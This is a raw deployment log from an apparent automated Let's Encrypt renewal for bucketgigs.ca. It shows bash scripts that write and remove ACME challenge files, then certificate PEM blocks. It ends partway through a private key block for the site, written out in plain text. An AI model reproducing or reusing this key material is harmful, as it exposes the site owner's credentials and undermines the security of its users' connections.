XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2026-01-14 06:01:15: Establishing a connection
2026-01-14 06:01:15: Establishing a connection
2026-01-14 06:01:15:
PUT: /tmp/pkp344408
#!/bin/bash
if [ -d "/var/www/bucketgigs_www/.well-known" ]; then
echo 1
else
echo 0
fi
2026-01-14 06:01:16:
chmod 755 /tmp/pkp344408; /tmp/pkp344408; rm /tmp/pkp344408
2026-01-14 06:01:16:
1
2026-01-14 06:01:17: Establishing a connection
2026-01-14 06:01:17:
PUT: /tmp/pkp620983
#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cat > TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs
cat > GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk
2026-01-14 06:01:17:
chmod 755 /tmp/pkp620983; /tmp/pkp620983; rm /tmp/pkp620983
2026-01-14 06:01:17:
2026-01-14 06:01:31: Establishing a connection
2026-01-14 06:01:32:
PUT: /tmp/pkp204067
#!/bin/bash
mkdir -p "/var/www/bucketgigs_www/.well-known/acme-challenge/"
cd "/var/www/bucketgigs_www/.well-known/acme-challenge/"
rm TAJETTkCuJSgKpDgTo_mdysXI7YbttbivcVYYKjiZUs
rm GMPWyarvCFYoS7qNlkC-_IJeQfVKwLh5cmUdmIFDkvk
2026-01-14 06:01:32:
chmod 755 /tmp/pkp204067; /tmp/pkp204067; rm /tmp/pkp204067
2026-01-14 06:01:32:
2026-01-14 06:01:32: Establishing a connection
2026-01-14 06:01:32:
PUT: /tmp/pkp532200
#!/bin/bash
temp_file=$(mktemp)
TARGET=be8922daef9a813ed44bb374208016c1.crt
cat > $temp_file <<'endmsg'
75:4a:09:4f:79:b7:88:bb:85:41:b8:56:07:9a:e8:a4
-----BEGIN CERTIFICATE-----
MIIFBzCCA++gAwIBAgISBvfmH60FIX9A5+0U+ENPSo0GMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMTE0MDUwMzAwWhcNMjYwNDE0MDUwMjU5WjAYMRYwFAYDVQQD
Ew1idWNrZXRnaWdzLmNhMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA
uUiCn2H8oGMTRXgWTqo1RbqWp3a7gQKnXnLT1X45qcl2uonTwuaiKNld1j7FpsYV
8R3oX4t9ClvVqXIfJY0WAQ/TtAonDWN3ZUX5z2LIJ0f6Wb68LGw/vx+74IqWA1I+
RWr/Nkv5jNB0tfnzuorZ0lxHMRoL4YQ2O/T+AKKVt6onu2t+O17GVzpehLGLujPK
UghKxYyXInhXIE3AsWiuWYWYmu2QHqPH1q52S60VcSSxv4mYNQj8rL7qxzKj6f9R
D+D2TVIiVChgKiZeymUPBlADJaRQlApYEr39oO2DF1gYJBdPd5hRuqpAPdkHjM7C
NZIQCjfT5mitaeAO1cxqmwIDAQABo4ICLjCCAiowDgYDVR0PAQH/BAQDAgWgMB0G
A1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0GA1Ud
DgQWBBRTiP024npK6ozEOidSlKuI6T/qEzAfBgNVHSMEGDAWgBTnq58PLDOgU9Ne
T3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6Ly9y
MTMuaS5sZW5jci5vcmcvMCsGA1UdEQQkMCKCDWJ1Y2tldGdpZ3MuY2GCEXd3dy5i
dWNrZXRnaWdzLmNhMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAg
oB6GHGh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNy5jcmwwggEDBgorBgEEAdZ5AgQC
BIH0BIHxAO8AdQAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVOIQAAAZu7
GE7VAAAEAwBGMEQCIDdpXRhTOUDNuu7htGTkploLlTOkGInccKtqFV9gcigMAiAB
K1JDTAMj5RcmO8IyLGz1EyKCYS39UCdXXIjLUnMVwwB2ANFuqaVoB35mNaA/N6Xd
vAOlPEESFNSIGPXpMbMjy5UEAAABm7sYT5gAAAQDAEcwRQIhAL/9qEgYsHWBCpG5
GDH7a94nDmJEi/muxONlg6ToWApnAiANcd9RmtV0hx8+uciiTvDMGgntawk7RWjf
i+po2IcWGzANBgkqhkiG9w0BAQsFAAOCAQEAYb/ZK2zyttVCCkpVLerXPO5TG+cA
ijDGxN8u2ErO5klF3FK9/6kCBL1nVEzjFTRTKC4LMdeexiPhyPJSdlYuSN9HdoDF
wV14lORy0FxB0NPkNUuWeCWLRDC8eYQIBpUQFPKcLhEbj5y5Zhho0m+V/KP0FdFH
9YXWPdvMQ1uQQHeQFdFtm8d31mPTBCFXPNyHKqHkcWFZ39gXBxKE+LRtT91mZrZE
I7IeVGLAlPb84fvYsKlVzc1BGtMCz5kCs6F+b6H6+TNcXa+wfgFQGfrP5CjGMZDw
DAl8BiyGVumdVfDdqMzDIgYQhGjrDXinLB81+MUx6pYYPjPkgc2kcmWtEw==
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQC5SIKfYfygYxNF
eBZOqjVFupandruBAqdectPVfjmpyXa6idPC5qIo2V3WPsWmx